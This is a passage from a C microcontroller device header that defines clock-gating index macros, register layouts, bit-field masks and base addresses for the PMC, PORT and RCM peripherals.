#define PCC_DMAMUX0_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 33)
#define PCC_MU0_A_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 35)
#define PCC_INTMUX0_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 36)
#define PCC_TPM2_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 46)
#define PCC_LPIT0_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 48)
#define PCC_LPTMR0_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 52)
#define PCC_RTC_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 56)
#define PCC_LPSPI2_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 62)
#define PCC_LPI2C2_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 66)
#define PCC_LPUART2_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 70)
#define PCC_SAI0_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 76)
#define PCC_EMVSIM0_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 78)
#define PCC_USB0FS_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 85)
#define PCC_PORTA_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 90)
#define PCC_PORTB_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 91)
#define PCC_PORTC_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 92)
#define PCC_PORTD_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 93)
#define PCC_PORTE_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 94)
#define PCC_TSI0_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 98)
#define PCC_ADC0_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 102)
#define PCC_DAC0_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 106)
#define PCC_CMP0_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 110)
#define PCC_VREF_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 114)
#define PCC_CRC_INDEX ((uint16_t)((PCC_INSTANCE_0 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 120)
#define PCC_DMA0 (PCC0->CLKCFG[8])
#define PCC_XRDC (PCC0->CLKCFG[20])
#define PCC_SEMA420 (PCC0->CLKCFG[27])
#define PCC_FLASH (PCC0->CLKCFG[32])
#define PCC_DMAMUX0 (PCC0->CLKCFG[33])
#define PCC_MU0_A (PCC0->CLKCFG[35])
#define PCC_INTMUX0 (PCC0->CLKCFG[36])
#define PCC_TPM2 (PCC0->CLKCFG[46])
#define PCC_LPIT0 (PCC0->CLKCFG[48])
#define PCC_LPTMR0 (PCC0->CLKCFG[52])
#define PCC_RTC (PCC0->CLKCFG[56])
#define PCC_LPSPI2 (PCC0->CLKCFG[62])
#define PCC_LPI2C2 (PCC0->CLKCFG[66])
#define PCC_LPUART2 (PCC0->CLKCFG[70])
#define PCC_SAI0 (PCC0->CLKCFG[76])
#define PCC_EMVSIM0 (PCC0->CLKCFG[78])
#define PCC_USB0FS (PCC0->CLKCFG[85])
#define PCC_PORTA (PCC0->CLKCFG[90])
#define PCC_PORTB (PCC0->CLKCFG[91])
#define PCC_PORTC (PCC0->CLKCFG[92])
#define PCC_PORTD (PCC0->CLKCFG[93])
#define PCC_PORTE (PCC0->CLKCFG[94])
#define PCC_TSI0 (PCC0->CLKCFG[98])
#define PCC_ADC0 (PCC0->CLKCFG[102])
#define PCC_DAC0 (PCC0->CLKCFG[106])
#define PCC_CMP0 (PCC0->CLKCFG[110])
#define PCC_VREF (PCC0->CLKCFG[114])
#define PCC_CRC (PCC0->CLKCFG[120])
#define PCC_DMA1_INDEX ((uint16_t)((PCC_INSTANCE_1 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 8)
#define PCC_SEMA421_INDEX ((uint16_t)((PCC_INSTANCE_1 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 27)
#define PCC_DMAMUX1_INDEX ((uint16_t)((PCC_INSTANCE_1 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 33)
#define PCC_MU0_B_INDEX ((uint16_t)((PCC_INSTANCE_1 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 35)
#define PCC_INTMUX1_INDEX ((uint16_t)((PCC_INSTANCE_1 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 36)
#define PCC_TRNG_INDEX ((uint16_t)((PCC_INSTANCE_1 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 37)
#define PCC_TPM0_INDEX ((uint16_t)((PCC_INSTANCE_1 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 44)
#define PCC_TPM1_INDEX ((uint16_t)((PCC_INSTANCE_1 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 45)
#define PCC_LPIT1_INDEX ((uint16_t)((PCC_INSTANCE_1 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 49)
#define PCC_LPTMR1_INDEX ((uint16_t)((PCC_INSTANCE_1 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 53)
#define PCC_LPSPI0_INDEX ((uint16_t)((PCC_INSTANCE_1 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 60)
#define PCC_LPSPI1_INDEX ((uint16_t)((PCC_INSTANCE_1 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 61)
#define PCC_LPI2C0_INDEX ((uint16_t)((PCC_INSTANCE_1 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 64)
#define PCC_LPI2C1_INDEX ((uint16_t)((PCC_INSTANCE_1 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 65)
#define PCC_LPUART0_INDEX ((uint16_t)((PCC_INSTANCE_1 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 68)
#define PCC_LPUART1_INDEX ((uint16_t)((PCC_INSTANCE_1 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 69)
#define PCC_FLEXIO0_INDEX ((uint16_t)((PCC_INSTANCE_1 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 74)
#define PCC_PORTM_INDEX ((uint16_t)((PCC_INSTANCE_1 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 96)
#define PCC_CMP1_INDEX ((uint16_t)((PCC_INSTANCE_1 & PCC_INSTANCE_MASK) << PCC_INSTANCE_SHIFT) | 111)
#define PCC_DMA1 (PCC1->CLKCFG[8])
#define PCC_SEMA421 (PCC1->CLKCFG[27])
#define PCC_DMAMUX1 (PCC1->CLKCFG[33])
#define PCC_MU0_B (PCC1->CLKCFG[35])
#define PCC_INTMUX1 (PCC1->CLKCFG[36])
#define PCC_TRNG (PCC1->CLKCFG[37])
#define PCC_TPM0 (PCC1->CLKCFG[44])
#define PCC_TPM1 (PCC1->CLKCFG[45])
#define PCC_LPIT1 (PCC1->CLKCFG[49])
#define PCC_LPTMR1 (PCC1->CLKCFG[53])
#define PCC_LPSPI0 (PCC1->CLKCFG[60])
#define PCC_LPSPI1 (PCC1->CLKCFG[61])
#define PCC_LPI2C0 (PCC1->CLKCFG[64])
#define PCC_LPI2C1 (PCC1->CLKCFG[65])
#define PCC_LPUART0 (PCC1->CLKCFG[68])
#define PCC_LPUART1 (PCC1->CLKCFG[69])
#define PCC_FLEXIO0 (PCC1->CLKCFG[74])
#define PCC_PORTM (PCC1->CLKCFG[96])
#define PCC_CMP1 (PCC1->CLKCFG[111])
/*!
* @}
*/ /* end of group PCC_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- PMC Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup PMC_Peripheral_Access_Layer PMC Peripheral Access Layer
* @{
*/
/** PMC - Register Layout Typedef */
typedef struct {
__I uint32_t VERID; /**< Version ID register, offset: 0x0 */
__I uint32_t PARAM; /**< Parameter register, offset: 0x4 */
__IO uint32_t LVDSC1; /**< Low Voltage Detect Status And Control 1 register, offset: 0x8 */
__IO uint32_t LVDSC2; /**< Low Voltage Detect Status And Control 2 register, offset: 0xC */
__IO uint32_t REGSC; /**< Regulator Status And Control register, offset: 0x10 */
uint8_t RESERVED_0[32];
__IO uint32_t HVDSC1; /**< High Voltage Detect Status And Control 1 register, offset: 0x34 */
} PMC_Type;
/* ----------------------------------------------------------------------------
-- PMC Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup PMC_Register_Masks PMC Register Masks
* @{
*/
/*! @name VERID - Version ID register */
#define PMC_VERID_FEATURE_MASK (0xFFFFU)
#define PMC_VERID_FEATURE_SHIFT (0U)
#define PMC_VERID_FEATURE(x) (((uint32_t)(((uint32_t)(x)) << PMC_VERID_FEATURE_SHIFT)) & PMC_VERID_FEATURE_MASK)
#define PMC_VERID_MINOR_MASK (0xFF0000U)
#define PMC_VERID_MINOR_SHIFT (16U)
#define PMC_VERID_MINOR(x) (((uint32_t)(((uint32_t)(x)) << PMC_VERID_MINOR_SHIFT)) & PMC_VERID_MINOR_MASK)
#define PMC_VERID_MAJOR_MASK (0xFF000000U)
#define PMC_VERID_MAJOR_SHIFT (24U)
#define PMC_VERID_MAJOR(x) (((uint32_t)(((uint32_t)(x)) << PMC_VERID_MAJOR_SHIFT)) & PMC_VERID_MAJOR_MASK)
/*! @name PARAM - Parameter register */
#define PMC_PARAM_VLPOE_MASK (0x1U)
#define PMC_PARAM_VLPOE_SHIFT (0U)
#define PMC_PARAM_VLPOE(x) (((uint32_t)(((uint32_t)(x)) << PMC_PARAM_VLPOE_SHIFT)) & PMC_PARAM_VLPOE_MASK)
#define PMC_PARAM_HVDE_MASK (0x2U)
#define PMC_PARAM_HVDE_SHIFT (1U)
#define PMC_PARAM_HVDE(x) (((uint32_t)(((uint32_t)(x)) << PMC_PARAM_HVDE_SHIFT)) & PMC_PARAM_HVDE_MASK)
/*! @name LVDSC1 - Low Voltage Detect Status And Control 1 register */
#define PMC_LVDSC1_LVDV_MASK (0x3U)
#define PMC_LVDSC1_LVDV_SHIFT (0U)
#define PMC_LVDSC1_LVDV(x) (((uint32_t)(((uint32_t)(x)) << PMC_LVDSC1_LVDV_SHIFT)) & PMC_LVDSC1_LVDV_MASK)
#define PMC_LVDSC1_LVDRE_MASK (0x10U)
#define PMC_LVDSC1_LVDRE_SHIFT (4U)
#define PMC_LVDSC1_LVDRE(x) (((uint32_t)(((uint32_t)(x)) << PMC_LVDSC1_LVDRE_SHIFT)) & PMC_LVDSC1_LVDRE_MASK)
#define PMC_LVDSC1_LVDIE_MASK (0x20U)
#define PMC_LVDSC1_LVDIE_SHIFT (5U)
#define PMC_LVDSC1_LVDIE(x) (((uint32_t)(((uint32_t)(x)) << PMC_LVDSC1_LVDIE_SHIFT)) & PMC_LVDSC1_LVDIE_MASK)
#define PMC_LVDSC1_LVDACK_MASK (0x40U)
#define PMC_LVDSC1_LVDACK_SHIFT (6U)
#define PMC_LVDSC1_LVDACK(x) (((uint32_t)(((uint32_t)(x)) << PMC_LVDSC1_LVDACK_SHIFT)) & PMC_LVDSC1_LVDACK_MASK)
#define PMC_LVDSC1_LVDF_MASK (0x80U)
#define PMC_LVDSC1_LVDF_SHIFT (7U)
#define PMC_LVDSC1_LVDF(x) (((uint32_t)(((uint32_t)(x)) << PMC_LVDSC1_LVDF_SHIFT)) & PMC_LVDSC1_LVDF_MASK)
/*! @name LVDSC2 - Low Voltage Detect Status And Control 2 register */
#define PMC_LVDSC2_LVWV_MASK (0x3U)
#define PMC_LVDSC2_LVWV_SHIFT (0U)
#define PMC_LVDSC2_LVWV(x) (((uint32_t)(((uint32_t)(x)) << PMC_LVDSC2_LVWV_SHIFT)) & PMC_LVDSC2_LVWV_MASK)
#define PMC_LVDSC2_LVWIE_MASK (0x20U)
#define PMC_LVDSC2_LVWIE_SHIFT (5U)
#define PMC_LVDSC2_LVWIE(x) (((uint32_t)(((uint32_t)(x)) << PMC_LVDSC2_LVWIE_SHIFT)) & PMC_LVDSC2_LVWIE_MASK)
#define PMC_LVDSC2_LVWACK_MASK (0x40U)
#define PMC_LVDSC2_LVWACK_SHIFT (6U)
#define PMC_LVDSC2_LVWACK(x) (((uint32_t)(((uint32_t)(x)) << PMC_LVDSC2_LVWACK_SHIFT)) & PMC_LVDSC2_LVWACK_MASK)
#define PMC_LVDSC2_LVWF_MASK (0x80U)
#define PMC_LVDSC2_LVWF_SHIFT (7U)
#define PMC_LVDSC2_LVWF(x) (((uint32_t)(((uint32_t)(x)) << PMC_LVDSC2_LVWF_SHIFT)) & PMC_LVDSC2_LVWF_MASK)
/*! @name REGSC - Regulator Status And Control register */
#define PMC_REGSC_BGBE_MASK (0x1U)
#define PMC_REGSC_BGBE_SHIFT (0U)
#define PMC_REGSC_BGBE(x) (((uint32_t)(((uint32_t)(x)) << PMC_REGSC_BGBE_SHIFT)) & PMC_REGSC_BGBE_MASK)
#define PMC_REGSC_REGONS_MASK (0x4U)
#define PMC_REGSC_REGONS_SHIFT (2U)
#define PMC_REGSC_REGONS(x) (((uint32_t)(((uint32_t)(x)) << PMC_REGSC_REGONS_SHIFT)) & PMC_REGSC_REGONS_MASK)
#define PMC_REGSC_ACKISO_MASK (0x8U)
#define PMC_REGSC_ACKISO_SHIFT (3U)
#define PMC_REGSC_ACKISO(x) (((uint32_t)(((uint32_t)(x)) << PMC_REGSC_ACKISO_SHIFT)) & PMC_REGSC_ACKISO_MASK)
#define PMC_REGSC_BGEN_MASK (0x10U)
#define PMC_REGSC_BGEN_SHIFT (4U)
#define PMC_REGSC_BGEN(x) (((uint32_t)(((uint32_t)(x)) << PMC_REGSC_BGEN_SHIFT)) & PMC_REGSC_BGEN_MASK)
#define PMC_REGSC_VLPO_MASK (0x40U)
#define PMC_REGSC_VLPO_SHIFT (6U)
#define PMC_REGSC_VLPO(x) (((uint32_t)(((uint32_t)(x)) << PMC_REGSC_VLPO_SHIFT)) & PMC_REGSC_VLPO_MASK)
/*! @name HVDSC1 - High Voltage Detect Status And Control 1 register */
#define PMC_HVDSC1_HVDV_MASK (0x1U)
#define PMC_HVDSC1_HVDV_SHIFT (0U)
#define PMC_HVDSC1_HVDV(x) (((uint32_t)(((uint32_t)(x)) << PMC_HVDSC1_HVDV_SHIFT)) & PMC_HVDSC1_HVDV_MASK)
#define PMC_HVDSC1_HVDRE_MASK (0x10U)
#define PMC_HVDSC1_HVDRE_SHIFT (4U)
#define PMC_HVDSC1_HVDRE(x) (((uint32_t)(((uint32_t)(x)) << PMC_HVDSC1_HVDRE_SHIFT)) & PMC_HVDSC1_HVDRE_MASK)
#define PMC_HVDSC1_HVDIE_MASK (0x20U)
#define PMC_HVDSC1_HVDIE_SHIFT (5U)
#define PMC_HVDSC1_HVDIE(x) (((uint32_t)(((uint32_t)(x)) << PMC_HVDSC1_HVDIE_SHIFT)) & PMC_HVDSC1_HVDIE_MASK)
#define PMC_HVDSC1_HVDACK_MASK (0x40U)
#define PMC_HVDSC1_HVDACK_SHIFT (6U)
#define PMC_HVDSC1_HVDACK(x) (((uint32_t)(((uint32_t)(x)) << PMC_HVDSC1_HVDACK_SHIFT)) & PMC_HVDSC1_HVDACK_MASK)
#define PMC_HVDSC1_HVDF_MASK (0x80U)
#define PMC_HVDSC1_HVDF_SHIFT (7U)
#define PMC_HVDSC1_HVDF(x) (((uint32_t)(((uint32_t)(x)) << PMC_HVDSC1_HVDF_SHIFT)) & PMC_HVDSC1_HVDF_MASK)
/*!
* @}
*/ /* end of group PMC_Register_Masks */
/* PMC - Peripheral instance base addresses */
/** Peripheral PMC base address */
#define PMC_BASE (0x4007D000u)
/** Peripheral PMC base pointer */
#define PMC ((PMC_Type *)PMC_BASE)
/** Array initializer of PMC peripheral base addresses */
#define PMC_BASE_ADDRS { PMC_BASE }
/** Array initializer of PMC peripheral base pointers */
#define PMC_BASE_PTRS { PMC }
/** Interrupt vectors for the PMC peripheral type */
#define PMC_IRQS { PMC_IRQn }
/*!
* @}
*/ /* end of group PMC_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- PORT Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup PORT_Peripheral_Access_Layer PORT Peripheral Access Layer
* @{
*/
/** PORT - Register Layout Typedef */
typedef struct {
__IO uint32_t PCR[32]; /**< Pin Control Register n, array offset: 0x0, array step: 0x4 */
__O uint32_t GPCLR; /**< Global Pin Control Low Register, offset: 0x80 */
__O uint32_t GPCHR; /**< Global Pin Control High Register, offset: 0x84 */
__O uint32_t GICLR; /**< Global Interrupt Control Low Register, offset: 0x88 */
__O uint32_t GICHR; /**< Global Interrupt Control High Register, offset: 0x8C */
uint8_t RESERVED_0[16];
__IO uint32_t ISFR; /**< Interrupt Status Flag Register, offset: 0xA0 */
uint8_t RESERVED_1[28];
__IO uint32_t DFER; /**< Digital Filter Enable Register, offset: 0xC0 */
__IO uint32_t DFCR; /**< Digital Filter Clock Register, offset: 0xC4 */
__IO uint32_t DFWR; /**< Digital Filter Width Register, offset: 0xC8 */
} PORT_Type;
/* ----------------------------------------------------------------------------
-- PORT Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup PORT_Register_Masks PORT Register Masks
* @{
*/
/*! @name PCR - Pin Control Register n */
#define PORT_PCR_PS_MASK (0x1U)
#define PORT_PCR_PS_SHIFT (0U)
#define PORT_PCR_PS(x) (((uint32_t)(((uint32_t)(x)) << PORT_PCR_PS_SHIFT)) & PORT_PCR_PS_MASK)
#define PORT_PCR_PE_MASK (0x2U)
#define PORT_PCR_PE_SHIFT (1U)
#define PORT_PCR_PE(x) (((uint32_t)(((uint32_t)(x)) << PORT_PCR_PE_SHIFT)) & PORT_PCR_PE_MASK)
#define PORT_PCR_SRE_MASK (0x4U)
#define PORT_PCR_SRE_SHIFT (2U)
#define PORT_PCR_SRE(x) (((uint32_t)(((uint32_t)(x)) << PORT_PCR_SRE_SHIFT)) & PORT_PCR_SRE_MASK)
#define PORT_PCR_PFE_MASK (0x10U)
#define PORT_PCR_PFE_SHIFT (4U)
#define PORT_PCR_PFE(x) (((uint32_t)(((uint32_t)(x)) << PORT_PCR_PFE_SHIFT)) & PORT_PCR_PFE_MASK)
#define PORT_PCR_ODE_MASK (0x20U)
#define PORT_PCR_ODE_SHIFT (5U)
#define PORT_PCR_ODE(x) (((uint32_t)(((uint32_t)(x)) << PORT_PCR_ODE_SHIFT)) & PORT_PCR_ODE_MASK)
#define PORT_PCR_DSE_MASK (0x40U)
#define PORT_PCR_DSE_SHIFT (6U)
#define PORT_PCR_DSE(x) (((uint32_t)(((uint32_t)(x)) << PORT_PCR_DSE_SHIFT)) & PORT_PCR_DSE_MASK)
#define PORT_PCR_MUX_MASK (0x700U)
#define PORT_PCR_MUX_SHIFT (8U)
#define PORT_PCR_MUX(x) (((uint32_t)(((uint32_t)(x)) << PORT_PCR_MUX_SHIFT)) & PORT_PCR_MUX_MASK)
#define PORT_PCR_IRQC_MASK (0xF0000U)
#define PORT_PCR_IRQC_SHIFT (16U)
#define PORT_PCR_IRQC(x) (((uint32_t)(((uint32_t)(x)) << PORT_PCR_IRQC_SHIFT)) & PORT_PCR_IRQC_MASK)
#define PORT_PCR_ISF_MASK (0x1000000U)
#define PORT_PCR_ISF_SHIFT (24U)
#define PORT_PCR_ISF(x) (((uint32_t)(((uint32_t)(x)) << PORT_PCR_ISF_SHIFT)) & PORT_PCR_ISF_MASK)
/* The count of PORT_PCR */
#define PORT_PCR_COUNT (32U)
/*! @name GPCLR - Global Pin Control Low Register */
#define PORT_GPCLR_GPWD_MASK (0xFFFFU)
#define PORT_GPCLR_GPWD_SHIFT (0U)
#define PORT_GPCLR_GPWD(x) (((uint32_t)(((uint32_t)(x)) << PORT_GPCLR_GPWD_SHIFT)) & PORT_GPCLR_GPWD_MASK)
#define PORT_GPCLR_GPWE_MASK (0xFFFF0000U)
#define PORT_GPCLR_GPWE_SHIFT (16U)
#define PORT_GPCLR_GPWE(x) (((uint32_t)(((uint32_t)(x)) << PORT_GPCLR_GPWE_SHIFT)) & PORT_GPCLR_GPWE_MASK)
/*! @name GPCHR - Global Pin Control High Register */
#define PORT_GPCHR_GPWD_MASK (0xFFFFU)
#define PORT_GPCHR_GPWD_SHIFT (0U)
#define PORT_GPCHR_GPWD(x) (((uint32_t)(((uint32_t)(x)) << PORT_GPCHR_GPWD_SHIFT)) & PORT_GPCHR_GPWD_MASK)
#define PORT_GPCHR_GPWE_MASK (0xFFFF0000U)
#define PORT_GPCHR_GPWE_SHIFT (16U)
#define PORT_GPCHR_GPWE(x) (((uint32_t)(((uint32_t)(x)) << PORT_GPCHR_GPWE_SHIFT)) & PORT_GPCHR_GPWE_MASK)
/*! @name GICLR - Global Interrupt Control Low Register */
#define PORT_GICLR_GIWE_MASK (0xFFFFU)
#define PORT_GICLR_GIWE_SHIFT (0U)
#define PORT_GICLR_GIWE(x) (((uint32_t)(((uint32_t)(x)) << PORT_GICLR_GIWE_SHIFT)) & PORT_GICLR_GIWE_MASK)
#define PORT_GICLR_GIWD_MASK (0xFFFF0000U)
#define PORT_GICLR_GIWD_SHIFT (16U)
#define PORT_GICLR_GIWD(x) (((uint32_t)(((uint32_t)(x)) << PORT_GICLR_GIWD_SHIFT)) & PORT_GICLR_GIWD_MASK)
/*! @name GICHR - Global Interrupt Control High Register */
#define PORT_GICHR_GIWE_MASK (0xFFFFU)
#define PORT_GICHR_GIWE_SHIFT (0U)
#define PORT_GICHR_GIWE(x) (((uint32_t)(((uint32_t)(x)) << PORT_GICHR_GIWE_SHIFT)) & PORT_GICHR_GIWE_MASK)
#define PORT_GICHR_GIWD_MASK (0xFFFF0000U)
#define PORT_GICHR_GIWD_SHIFT (16U)
#define PORT_GICHR_GIWD(x) (((uint32_t)(((uint32_t)(x)) << PORT_GICHR_GIWD_SHIFT)) & PORT_GICHR_GIWD_MASK)
/*! @name ISFR - Interrupt Status Flag Register */
#define PORT_ISFR_ISF_MASK (0xFFFFFFFFU)
#define PORT_ISFR_ISF_SHIFT (0U)
#define PORT_ISFR_ISF(x) (((uint32_t)(((uint32_t)(x)) << PORT_ISFR_ISF_SHIFT)) & PORT_ISFR_ISF_MASK)
/*! @name DFER - Digital Filter Enable Register */
#define PORT_DFER_DFE_MASK (0xFFFFFFFFU)
#define PORT_DFER_DFE_SHIFT (0U)
#define PORT_DFER_DFE(x) (((uint32_t)(((uint32_t)(x)) << PORT_DFER_DFE_SHIFT)) & PORT_DFER_DFE_MASK)
/*! @name DFCR - Digital Filter Clock Register */
#define PORT_DFCR_CS_MASK (0x1U)
#define PORT_DFCR_CS_SHIFT (0U)
#define PORT_DFCR_CS(x) (((uint32_t)(((uint32_t)(x)) << PORT_DFCR_CS_SHIFT)) & PORT_DFCR_CS_MASK)
/*! @name DFWR - Digital Filter Width Register */
#define PORT_DFWR_FILT_MASK (0x1FU)
#define PORT_DFWR_FILT_SHIFT (0U)
#define PORT_DFWR_FILT(x) (((uint32_t)(((uint32_t)(x)) << PORT_DFWR_FILT_SHIFT)) & PORT_DFWR_FILT_MASK)
/*!
* @}
*/ /* end of group PORT_Register_Masks */
/* PORT - Peripheral instance base addresses */
/** Peripheral PORTA base address */
#define PORTA_BASE (0x4005A000u)
/** Peripheral PORTA base pointer */
#define PORTA ((PORT_Type *)PORTA_BASE)
/** Peripheral PORTB base address */
#define PORTB_BASE (0x4005B000u)
/** Peripheral PORTB base pointer */
#define PORTB ((PORT_Type *)PORTB_BASE)
/** Peripheral PORTC base address */
#define PORTC_BASE (0x4005C000u)
/** Peripheral PORTC base pointer */
#define PORTC ((PORT_Type *)PORTC_BASE)
/** Peripheral PORTD base address */
#define PORTD_BASE (0x4005D000u)
/** Peripheral PORTD base pointer */
#define PORTD ((PORT_Type *)PORTD_BASE)
/** Peripheral PORTE base address */
#define PORTE_BASE (0x4005E000u)
/** Peripheral PORTE base pointer */
#define PORTE ((PORT_Type *)PORTE_BASE)
/** Peripheral PORTM base address */
#define PORTM_BASE (0x400E0000u)
/** Peripheral PORTM base pointer */
#define PORTM ((PORT_Type *)PORTM_BASE)
/** Array initializer of PORT peripheral base addresses */
#define PORT_BASE_ADDRS { PORTA_BASE, PORTB_BASE, PORTC_BASE, PORTD_BASE, PORTE_BASE, PORTM_BASE }
/** Array initializer of PORT peripheral base pointers */
#define PORT_BASE_PTRS { PORTA, PORTB, PORTC, PORTD, PORTE, PORTM }
/** Interrupt vectors for the PORT peripheral type */
#define PORT_IRQS { PORTA_IRQn, PORTB_IRQn, PORTC_IRQn, PORTD_IRQn, PORTE_IRQn, PORTM_IRQn }
/*!
* @}
*/ /* end of group PORT_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- RCM Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup RCM_Peripheral_Access_Layer RCM Peripheral Access Layer
* @{
*/
/** RCM - Register Layout Typedef */
typedef struct {
__I uint32_t VERID; /**< Version ID Register, offset: 0x0 */
__I uint32_t PARAM; /**< Parameter Register, offset: 0x4 */
__I uint32_t SRS; /**< System Reset Status Register, offset: 0x8 */
__IO uint32_t RPC; /**< Reset Pin Control register, offset: 0xC */
__IO uint32_t MR; /**< Mode Register, offset: 0x10 */
__IO uint32_t FM; /**< Force Mode Register, offset: 0x14 */
__IO uint32_t SSRS; /**< Sticky System Reset Status Register, offset: 0x18 */
__IO uint32_t SRIE; /**< System Reset Interrupt Enable Register, offset: 0x1C */
} RCM_Type;
/* ----------------------------------------------------------------------------
-- RCM Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup RCM_Register_Masks RCM Register Masks
* @{
*/
/*! @name VERID - Version ID Register */
#define RCM_VERID_FEATURE_MASK (0xFFFFU)
#define RCM_VERID_FEATURE_SHIFT (0U)
#define RCM_VERID_FEATURE(x) (((uint32_t)(((uint32_t)(x)) << RCM_VERID_FEATURE_SHIFT)) & RCM_VERID_FEATURE_MASK)
#define RCM_VERID_MINOR_MASK (0xFF0000U)
#define RCM_VERID_MINOR_SHIFT (16U)
#define RCM_VERID_MINOR(x) (((uint32_t)(((uint32_t)(x)) << RCM_VERID_MINOR_SHIFT)) & RCM_VERID_MINOR_MASK)
#define RCM_VERID_MAJOR_MASK (0xFF000000U)
#define RCM_VERID_MAJOR_SHIFT (24U)
#define RCM_VERID_MAJOR(x) (((uint32_t)(((uint32_t)(x)) << RCM_VERID_MAJOR_SHIFT)) & RCM_VERID_MAJOR_MASK)
/*! @name PARAM - Parameter Register */
#define RCM_PARAM_RSTSRC_MASK (0xFFFFFFFFU)
#define RCM_PARAM_RSTSRC_SHIFT (0U)
#define RCM_PARAM_RSTSRC(x) (((uint32_t)(((uint32_t)(x)) << RCM_PARAM_RSTSRC_SHIFT)) & RCM_PARAM_RSTSRC_MASK)
/*! @name SRS - System Reset Status Register */
#define RCM_SRS_WAKEUP_MASK (0x1U)
#define RCM_SRS_WAKEUP_SHIFT (0U)
#define RCM_SRS_WAKEUP(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRS_WAKEUP_SHIFT)) & RCM_SRS_WAKEUP_MASK)
#define RCM_SRS_LVD_MASK (0x2U)
#define RCM_SRS_LVD_SHIFT (1U)
#define RCM_SRS_LVD(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRS_LVD_SHIFT)) & RCM_SRS_LVD_MASK)
#define RCM_SRS_LOC_MASK (0x4U)
#define RCM_SRS_LOC_SHIFT (2U)
#define RCM_SRS_LOC(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRS_LOC_SHIFT)) & RCM_SRS_LOC_MASK)
#define RCM_SRS_LOL_MASK (0x8U)
#define RCM_SRS_LOL_SHIFT (3U)
#define RCM_SRS_LOL(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRS_LOL_SHIFT)) & RCM_SRS_LOL_MASK)
#define RCM_SRS_WDOG_MASK (0x20U)
#define RCM_SRS_WDOG_SHIFT (5U)
#define RCM_SRS_WDOG(x) (((uint32_t)(((uint32_t)(x)) << RCM_SRS_WDOG_SHIFT)) & RCM_SRS_WDOG_MASK)
#define RCM_SRS_PIN_MASK (0x40U)
